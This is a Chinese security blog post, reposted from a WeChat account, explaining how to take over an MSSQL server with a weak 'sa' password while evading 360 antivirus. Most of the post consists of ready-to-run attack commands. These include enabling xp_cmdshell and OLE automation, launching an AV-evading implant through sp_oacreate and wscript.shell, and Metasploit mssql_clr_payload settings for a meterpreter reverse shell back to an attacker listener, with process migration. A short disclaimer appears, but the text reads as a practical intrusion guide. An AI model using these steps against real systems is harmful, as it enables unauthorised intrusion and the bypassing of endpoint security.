MSSQL弱口令绕过某数字上线

admin 2023年2月24日10:26:38评论203 views字数 2464阅读8分12秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


现在只对常读和星标的公众号才展示大图推送,建议大家能把潇湘信安设为星标”,否则可能看不到了...!


0x01 前言

朋友实战中遇到的场景:MSSQL弱口令,sa权限,安装有360全家桶,问如何绕过360上线?

根据他的叙述说明这个数据库是可以直连的,猜测应该是扫到的一台MSSQL弱口令的机器。
这篇文章我将分享下他这种场景的一些绕过方式,只是给大家提供思路,算是抛砖引玉吧,大家自行发挥!

0x02 前期测试

内网扫到一台MSSQL弱口令,或者一个SQL注入,这时我们一般都会先判断是否为dba权限、xp_cmdshell组件是否可用?如果可用则直接执行命令提权。

MSSQL弱口令绕过某数字上线

判断当前是否为dba权限,为1则可以提权select is_srvrolemember('sysadmin');
查看是否存在xp_cmdshellexec sp_configure 'xp_cmdshell', 1;reconfigure;
查看能否使用xp_cmdshell,从mssql2005版本之后默认关闭select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
开启xp_cmdshellexec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 1;reconfigure;
关闭xp_cmdshellexec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 0;reconfigure;
执行命令xp_cmdshellexec master..xp_cmdshell 'cmd /c whoami'

MSSQL弱口令绕过某数字上线


但如果目标主机有360时就一定会拦截,常见返回报错不是5就是拒绝访问。

因为这个组件调用的是system32下的cmd.exe,360已经拦死了,这里没法绕过!之前文章中也有说过。
MSSQL弱口令绕过某数字上线

sqlmap也一样,xp_cmdshell都是在sqlservr.exe进程下起一个cmd.exe子进程来执行命令和程序的,这也就是360拦截原因,检测了sqlservr.exe进程链。

MSSQL弱口令绕过某数字上线

注:MSSQL堆叠注入执行多条SQL语句时必须加上;分号,否则无法正常执行,而客户端连接MSSQL数据库执行多条SQL语句时只需换行即可,不能用;分号,否则也可能无法正常执行。


0x03 绕过方式

(1) Godzilla
利用哥斯拉“数据库Shell”功能连上这个数据库,然后将命令行模板中的cmd直接改为我们的免杀马。

这时只需要在命令行下随便输入个字符回车执行即可成功上线,360全程无拦截。

MSSQL弱口令绕过某数字上线


(2) sp_oacreate

开启Ole automation procedures,并使用sp_oacreate存储过程调用wscript.shell组件执行命令,只需要将免杀马做为程序去执行即可成功上线,360全程无拦截。
开启Ole automation proceduresexec sp_configure 'show advanced options', 1;reconfigureexec sp_configure 'ole automation procedures',1;reconfigure
执行命令sp_oacreatedeclare @o intexec sp_oacreate 'wscript.shell',@o outexec sp_oamethod @o,'run',null,'C:ProgramData360.exe'

MSSQL弱口令绕过某数字上线


(3) mssql_clr_payload

我们还可以利用MSF下的mssql_clr_payload模块来进行上线,该模块在执行时会自动开启CLR存储过程并将数据库标记为可信任等相关操作,360全程无拦截。
use exploit/windows/mssql/mssql_clr_payloadset rhosts 192.168.1.109set username saset password 123456set payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.1.120set lport 443
MSSQL弱口令绕过某数字上线

这里可以看到CLR这种利用方式也不是调用cmd.exe执行的,没有创建任何子进程,而是直接运行在sqlservr.exe进程下了,所以360不会对其拦截!!!

MSSQL弱口令绕过某数字上线


0x04 文末总结

Godzilla、sp_oacreate这两种方式都是将我们的免杀马做为程序执行,没有调用cmd.exe执行,所以360也不会拦截,但如果做为参数执行肯定还是会被拦的。
MSSQL弱口令绕过某数字上线


修改哥斯拉命令执行模板、EfsPotato插件将我们的免杀马做为程序执行上线MSF时建议加个进程迁移,否则执行后哥斯拉可能会卡住,执行不了任何操作

set AutoRunScript migrate -fset AutoRunScript post/windows/manage/migrate NAME=notepad.exe

注意:看到有师傅说这种方法也会被拦,不知道他是不是开了核晶模式?但我这里没有拦,不知道什么情况,大家在实战中自己多去测试下吧......!



关 注 有 礼



关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包
MSSQL弱口令绕过某数字上线 还在等什么?赶紧点击下方名片关注学习吧!MSSQL弱口令绕过某数字上线

推 荐 阅 读




MSSQL弱口令绕过某数字上线
MSSQL弱口令绕过某数字上线
MSSQL弱口令绕过某数字上线

MSSQL弱口令绕过某数字上线

原文始发于微信公众号(潇湘信安):MSSQL弱口令绕过某数字上线

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月24日10:26:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MSSQL弱口令绕过某数字上线http://cn-sec.com/archives/1570849.html

发表评论

匿名网友 填写信息